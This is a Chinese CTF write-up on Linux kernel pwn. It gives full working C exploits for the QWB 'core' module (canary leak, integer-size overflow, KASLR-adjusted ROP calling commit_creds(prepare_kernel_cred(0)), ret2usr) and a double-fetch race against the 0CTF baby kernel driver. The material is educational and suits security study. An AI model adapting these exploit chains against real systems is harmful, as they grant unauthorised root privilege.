盒子
盒子
文章目录
  1. 前言:
  2. ROP:
    1. Checksec:
    2. core_ioctl:
    3. core_write:
    4. core_read:
    5. core_copy_func:
      1. 利用流程:
    6. EXP:
  3. Ret2usr:
  4. Double Fetch:
    1. _chk_range_not_ok:
    2. baby_ioctl:
    3. EXP:
  5. 总结:
    1. 参考链接:

Kernel_Pwn_TWO

前言:

接着上篇说的,这篇主要讨论一下ROP构造以及Double Fetch的利用。上一篇中Bypass smep的一部分构造没有明白的,在这篇中会得到详细的解答。

ROP:

题目(见附件)照常给了三个文件,照样常规流程来,先把硬盘镜像给解压了,再看看start.sh文件启动内核的脚本:

1
2
3
4
5
6
7
8
qemu-system-x86_64 \
-m 128M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \

开了kaslr保护。相当于用户态pwn的aslr地址随机化。

再看看镜像文件里的init文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko

poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 2000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys

poweroff -d 0 -f

看到了这一句:

1
cat /proc/kallsyms > /tmp/kallsyms

可以直接在tmp目录下拿到prepare_kernel_credcommit_creds的地址。不需要root权限。

还有这一句:

1
poweroff -d 120 -f &

定时关机的命令,为了方便调试,把这一句给删掉。

镜像文件里面还有一个sh文件:

1
2
3
find . -print0 \
| cpio --null -ov --format=newc \
| gzip -9 > $1

看来是打包镜像的命令了,所以我们可以利用它来重新打包我们的镜像。

继续看驱动文件,来找找驱动程序的利用点。

Checksec:

1
2
3
4
5
6
7
➜  give_to_player checksec core.ko 
[*] '/media/psf/Downloads/give_to_player/core.ko'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x0)

core_ioctl:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
__int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3)
{
__int64 v3; // rbx

v3 = a3;
switch ( a2 )
{
case 1719109787:
core_read(a3);
break;
case 1719109788:
printk(&unk_2CD);
off = v3;
break;
case 1719109786:
printk(&unk_2B3);
core_copy_func(v3);
break;
}
return 0LL;
}

很明显的选择结构,为1719109788时设置off的值。

core_write:

1
2
3
4
5
6
7
8
9
10
11
signed __int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3)
{
unsigned __int64 v3; // rbx

v3 = a3;
printk(&unk_215);
if ( v3 <= 0x800 && !copy_from_user(&name, a2, v3) )
return (unsigned int)v3;
printk(&unk_230);
return 4294967282LL;
}

向name字段输入。

core_read:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
unsigned __int64 __fastcall core_read(__int64 a1)
{
__int64 v1; // rbx
__int64 *v2; // rdi
signed __int64 i; // rcx
unsigned __int64 result; // rax
__int64 v5; // [rsp+0h] [rbp-50h]
unsigned __int64 v6; // [rsp+40h] [rbp-10h]

v1 = a1;
v6 = __readgsqword(0x28u);
printk(&unk_25B);
printk(&unk_275);
v2 = &v5;
for ( i = 16LL; i; --i )
{
*(_DWORD *)v2 = 0;
v2 = (__int64 *)((char *)v2 + 4);
}
strcpy((char *)&v5, "Welcome to the QWB CTF challenge.\n");
result = copy_to_user(v1, (char *)&v5 + off, 64LL); // leak
if ( !result )
return __readgsqword(0x28u) ^ v6;
__asm { swapgs }
return result;
}

&v5 + off在栈空间中,且off由我们设置,所以我们可以泄漏出canary的值来绕过canary。copy_to_user(v1, (char *)&v5 + off, 64LL)中v1为用户空间的空间地址。

core_copy_func:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
signed __int64 __fastcall core_copy_func(signed __int64 a1)
{
signed __int64 result; // rax
__int64 v2; // [rsp+0h] [rbp-50h]
unsigned __int64 v3; // [rsp+40h] [rbp-10h]

v3 = __readgsqword(0x28u);
printk(&unk_215);
if ( a1 > 63 )
{
printk(&unk_2A1);
result = 0xFFFFFFFFLL;
}
else
{
result = 0LL;
qmemcpy(&v2, &name, (unsigned __int16)a1); // overflow ------> rop
}
return result;
}

这里的漏洞点不太容易注意到,这里的函数参数a1即输入是八字节的有符号整数,而在qmemcpy函数中则是双字节的无符号整数,所以当设置a1=0xffffffffffff0200即可绕过a1>63的检查并在qmemcpy中得到a1为0x0200的值。并且v2为栈中的值,超长复制即可溢出。从name字段复制,name字段的内容是我们可控的,所以利用点就很容易可以得到。

利用流程:

  1. 设置off的值
  2. 调用core_read泄漏出canary的值
  3. 调用core_write往name字段构造ROP
  4. 调用core_copy_func发生溢出劫持控制流

先随意设置一个off的值再去调试看看gdb中canary的位置,我设置了off为0x40:

66F75583-E877-4429-9D09-2ECFA2BED585

再看看栈:

0AF6438B-1DF5-40D3-80C9-4A461C532068

经后面调试判断比较canary时可以得知上图箭头所指处就是canary的值。所以我们就可以设置off为0x40泄漏得知canary的值。

这下后面的rop构造就和我们以往做pwn时一样构造就可以了。kernel pwn是为了提权,所以我们需要调用commit_creds(prepare_kernel_cred(0))就可提权。况且commit_creds和prepare_kernel_cred的函数地址我们从上面了解到可以从tmp目录下直接得到。我们需要这样构造rop:

1
2
3
4
5
pop rdi;ret
0
prepare_kernel_cred
mov rdi,rax;ret
commit_creds

但是从vmlinux中提取出来的rop没有mov rdi,rax;ret,所以我们仍可以换一种方法:

1
2
3
4
5
6
7
8
pop rdx;ret
commit_creds
mov rdi,rax;jmp rdx

pop rdx;ret
pop rcx;ret
mov rdi,rax;call rdx
commit_creds

这里需要注意的一个点就是程序是开了kaslr的。所以这些从vmlinux中找的rop都不是真实地址,需要加上offset偏移才行,而这里的偏移可以用vmlinux中查得的prepare_kernel_cred地址和qemu中的prepare_kernel_cred相减即可得到。

1
2
3
直接查看得地址
pwndbg> p prepare_kernel_cred
$1 = {<text variable, no debug info>} 0xffffffff8109cce0 <prepare_kernel_cred>

所以在vmlinux中查的rop都需要加上offset才为真实地址。

所构造的rop如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
unsigned long int rop_content[] = {
0x9090909090909090,
0x9090909090909090,
0x9090909090909090,
0x9090909090909090,
0x9090909090909090,
0x9090909090909090,
0x9090909090909090,
0x9090909090909090,
canary_,
0x9090909090909090,
0xffffffff81000b2f+offset_size, //pop rdi;ret
0x0,
pkd_addr,
0xffffffff810a0f49+offset_size, //pop rdx;ret
cc_addr,
0xffffffff8106a6d2+offset_size, //mov rdi,rax;jmp rdx
0xffffffff81a012da+offset_size, //swapgs;popfq;ret
0,
0xffffffff81050ac2+offset_size, //iretq;
(unsigned long)getshell,
user_cs,
user_flag,
user_rsp,
user_ss
};

下图中的swapgs;popfq;ret阶段是提权的必要操作,毕竟我们已经利用上面的函数提权完了,接下来要做的事情就是从内核态转回用户态了,所以需要恢复几个必要寄存器的值。

这里还需要注意的一个点就是调用core_copy_func函数时,传参不能直接传-1,经调试发现直接传-1会导致最终得到4字节的值,最终无法绕过上面所说的>63

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>

unsigned long int user_cs,user_ss,user_rsp,user_flag;

void save_state(){
__asm__("mov user_cs,cs;"
"mov user_ss,ss;"
"mov user_rsp,rsp;"
"pushf;"
"pop user_flag;"
);
puts("[*]Save the state!");
}

void getshell(){
system("/bin/sh");
}

int main(){
save_state();
unsigned long int *tcach = (unsigned long int *)malloc(0x40);

unsigned long int pkd_addr,cc_addr;
scanf("%lx",&pkd_addr);
fflush(stdin);
printf("input the cc_addr:\n");
scanf("%lx",&cc_addr);

int fd = open("/proc/core",2);

ioctl(fd,1719109788,0x40);
ioctl(fd,1719109787,tcach);
unsigned long canary_ = *tcach;
//unsigned long vm_base = *(tcach+0x10) - 0x19b;
printf("leak canary:%x\n",canary_);
//printf("leak vm_base:%p",vm_base);

unsigned long offset_size = pkd_addr - 0xffffffff8109cce0;// qemu addr - local addr

//ret_offset = 0x50 canary = 0x40
unsigned long int rop_content[] = {
0x9090909090909090,
0x9090909090909090,
0x9090909090909090,
0x9090909090909090,
0x9090909090909090,
0x9090909090909090,
0x9090909090909090,
0x9090909090909090,
canary_,
0x9090909090909090,
0xffffffff81000b2f+offset_size, //pop rdi;ret
0x0,
pkd_addr,
0xffffffff810a0f49+offset_size, //pop rdx;ret
cc_addr,
0xffffffff8106a6d2+offset_size, //mov rdi,rax;jmp rdx
0xffffffff81a012da+offset_size, //swapgs;popfq;ret
0,
0xffffffff81050ac2+offset_size, //iretq;
(unsigned long)getshell,
user_cs,
user_flag,
user_rsp,
user_ss
};

write(fd,rop_content,0xf0);
ioctl(fd,1719109786,0xffffffff000000f0);//-1 will be 4 size

return 0;
}

Ret2usr:

这个方法其实跟上面所说的ROP基本没有区别,最根本的区别就是把上面所需要rop构造出来的提权过程commit_creds(prepare_kernel_cred(0))直接写了一个函数,从而不需要rop调用,直接调用函数即可。该函数写成这样:

1
2
3
4
5
void getroot(){
char* (*pkc)(int) = prepare_kernel_cred;
void (*cc)(char*) = commit_cred;
(*cc)((*pkc)(0));
}

所以构造rop时可以直接这样构造:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
unsigned long rop[20] = {
0x9090909090909090,
0x9090909090909090,
0x9090909090909090,
0x9090909090909090,
0x9090909090909090,
0x9090909090909090,
0x9090909090909090,
0x9090909090909090,
canary_,
0x9090909090909090,
getroot, // 只改变了这里,别的都没变
0xffffffff81a012da+offset_addr, // swapgs; popfq; ret
0,
0xffffffff81050ac2+offset_addr, // iretq; ret;
getshell,
user_cs,
user_flag,
user_rsp,
user_ss
};

两者是不是一样?只不过调用getroot函数时调用的是用户态的函数。所以两者基本没什么区别。

  • 但是为什么可以调用用户态函数呢?

因为内核有用户空间的进程不能访问内核空间,但内核空间能访问用户空间 这个特性,可以以 ring 0 特权执行用户空间代码完成提权等操作。

不过具体为什么会有*pkc*cc指针就要具体去查看源代码才能知道了。

Double Fetch:

double fetch属于用户态pwn中的条件竞争,属于内核态与用户态之间的数据访问竞争。

直接来看题2018 0CTF Finals baby kernel

照样常规解包查init、start.sh等操作,这里要注意的就是需关闭 dmesg_restrict,不然无法查看printk所打印出的信息:

1
2
> echo 0 > /proc/sys/kernel/dmesg_restrict
>

直接看函数:

_chk_range_not_ok:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
bool __fastcall _chk_range_not_ok(__int64 a1, __int64 a2, unsigned __int64 a3)
{
unsigned __int8 v3; // cf
unsigned __int64 v4; // rdi
bool result; // al

v3 = __CFADD__(a2, a1);
v4 = a2 + a1;
if ( v3 )
result = 1;
else
result = a3 < v4; // a3 >= a1 + a2
return result;
}

判断大小的一个函数。

baby_ioctl:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
signed __int64 __fastcall baby_ioctl(__int64 a1, __int64 a2)
{
__int64 v2; // rdx
signed __int64 result; // rax
int i; // [rsp-5Ch] [rbp-5Ch]
__int64 v5; // [rsp-58h] [rbp-58h]

_fentry__(a1, a2);
v5 = v2;
if ( (_DWORD)a2 == 26214 )
{
printk("Your flag is at %px! But I don't think you know it's content\n", flag);
result = 0LL;
}
else if ( (_DWORD)a2 == 4919
&& !_chk_range_not_ok(v2, 16LL, *(_QWORD *)(__readgsqword((unsigned __int64)&current_task) + 4952)) // a3 = 0x7ffffffff000
// a1 + a2 <= a3
&& !_chk_range_not_ok(
*(_QWORD *)v5,
*(signed int *)(v5 + 8),
*(_QWORD *)(__readgsqword((unsigned __int64)&current_task) + 4952))
&& *(_DWORD *)(v5 + 8) == strlen(flag) )
{
for ( i = 0; i < strlen(flag); ++i )
{
if ( *(_BYTE *)(*(_QWORD *)v5 + i) != flag[i] )
return 22LL;
}
printk("Looks like the flag is not a secret anymore. So here is it %s\n", flag);
result = 0LL;
}
else
{
result = 14LL;
}
return result;
}

这里主要流程就是根据输入对比,然后和内存flag做比较。主要看的是这个:

1
2
3
4
5
6
7
   !_chk_range_not_ok(v2, 16LL, *(_QWORD *)(__readgsqword((unsigned __int64)&current_task) + 4952))                 // a3 = 0x7ffffffff000
// a1 + a2 <= a3
&& !_chk_range_not_ok(
*(_QWORD *)v5,
*(signed int *)(v5 + 8),
*(_QWORD *)(__readgsqword((unsigned __int64)&current_task) + 4952))
&& *(_DWORD *)(v5 + 8) == strlen(flag)

这里的v2是ioctl的第三个参数,也就是v2 + 16 <= a3这个条件,第二个条件是*v5 + *(v5+8) <= a3,第三个条件是*(v5 + 8) == strlen(flag)

从第三个条件很容易就看出来传入参数其中一个是flag的长度值,在看看__readgsqword((unsigned __int64)&current_task) + 4952的值是多少,在gdb中调试会明显很多:

E43FD602-07D0-4AE1-B9C9-9773FCCC9501

可以看到是0x7ffffffff000,那么可以很容易想到是为了检测是否在用户态而设定的。

所以可以得到上面的第一第二条件是在判断v5是否在用户态,且v5中的flag段是否在用户态。那么就可以构造出一个结构体了:

1
2
3
4
struct Flag {
char *flag_str;
unsigned long flag_len;
}*flag;

这里需要注意的一个点就是因为flag是一个只想结构体的指针,所以需要给它初始化指针,否则会出现segment报错。

struct Flag flag = (struct Flag )malloc(sizeof(struct Flag));

结构体找到了,那么就是利用条件竞争的时候了,因为程序是过了上面三个条件判断后就可以开始逐字节对比flag了,所以说我们可以在程序经过上三层判断的时候,开线程修改掉flag的地址为程序中的flag地址,这样就能对比成功了,最终打印flag。

那么如何知道程序中的flag地址呢,很明显的在ioctl函数中,当参数为26214时,就能够打印出flag地址。

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#include <stdio.h>
#include <pthread.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <unistd.h>

char s[] = "flag{1111_1111_11_1111_1111_1111}";
char *flag_addr = NULL;
int finish = 0;

struct Flag{
char *flag_str;
unsigned long flag_len;
};


void *thread_run(void *tt){
struct Flag *flag = tt;

while(!finish){
flag->flag_str = flag_addr;
}
}

int main(){

setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
setvbuf(stderr,0,2,0);

int fd = open("/dev/baby",0);

struct Flag *flag = (struct Flag *)malloc(sizeof(struct Flag));

flag->flag_str = s;
flag->flag_len = 0x21;

ioctl(fd,0x6666);

system("dmesg | grep \"Your flag is at \"");
printf("input the flag addr :");
scanf("%x",&flag_addr);

pthread_t t1;
pthread_create(&t1,NULL,thread_run,flag);

for(int i=0;i<0x1000;i++){
int ret = ioctl(fd,4919,flag);
if(ret != 0){
printf("the flag addr:%p",flag->flag_str);
}
else{
goto end;
}
flag->flag_str = s;
}

end :
finish = 1;

pthread_join(t1,NULL);
//ioctl(fd,4919,&flag);
system("dmesg | grep \"the flag is not a secret anymore.\"");
close(fd);
return 0;
}

这题还有一种解法,是侧信道攻击解法:

1
因为是逐字节判断,所以可以将一个字符写在page的最末端,当判断下一个字符的时候,会访问一个不存在的地址,导致crash,从而一位一位得到flag。

这里就不讨论了。

总结:

以上就是linux kernel pwn中的基本类型了,其实本质上和用户态的pwn相差无几,不过是exp的编写语言改变了,或者说是目的改变(提权or拿shell),了解透彻了还是很明确的。

参考链接:

支持一下
扫一扫,支持v1nke
  • 微信扫一扫
  • 支付宝扫一扫